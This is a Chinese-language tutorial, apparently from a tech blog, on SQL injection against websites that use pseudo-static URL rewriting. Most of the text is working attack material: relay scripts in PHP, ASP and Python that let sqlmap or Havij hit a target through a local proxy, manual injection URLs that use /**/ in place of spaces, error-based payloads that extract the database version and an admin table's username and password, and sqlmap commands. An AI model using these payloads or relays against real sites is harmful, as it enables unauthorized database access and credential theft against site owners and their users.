這篇文章主要介紹了PHP如何實現針對偽靜態的注入,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
一:中轉注入法
1.通過http://www.xxx.com/news.php?id=1做了偽靜態之后就成這樣了
http://www.xxx.com/news.php/id/1.html
2.測試步驟:
中轉注入的php代碼:inject.php
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
3.本地環境搭建PHP,然后訪問http://127.0.0.1/inject.php?id=1
通過sqlmap或者havj可以跑注入漏洞。
附錄ASP中轉代碼:
<% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //實際上要請求的網址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我這里故意輸出url來看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //處理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //發包前對參數的url編碼一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加轉換搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '轉換空格,如果網站過濾了空格,嘗試用/**/來代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加轉換+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要過濾的代碼 //這里很關鍵,方便啊,把空格自動換成/**/,后面會說到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %>
二、手工注入法
1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2.測試注入:
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯
3.看頁面是否存在差異,相同則不存在,不同存在注入。
4.聯合查詢:
http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
手工注入法(二)
http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
注:
偽靜態的注入和URL的普通GET注入不太相同
。普通url的get注入的%20,%23,+等都可以用;但是偽靜態不行,會被直接傳遞到到url中,所以用/**/這個注釋符號表示空格。
三、SQLmap方法
在sqlmap中偽靜態哪兒存在注入點就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”
四、python腳本方法
代碼:
from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()
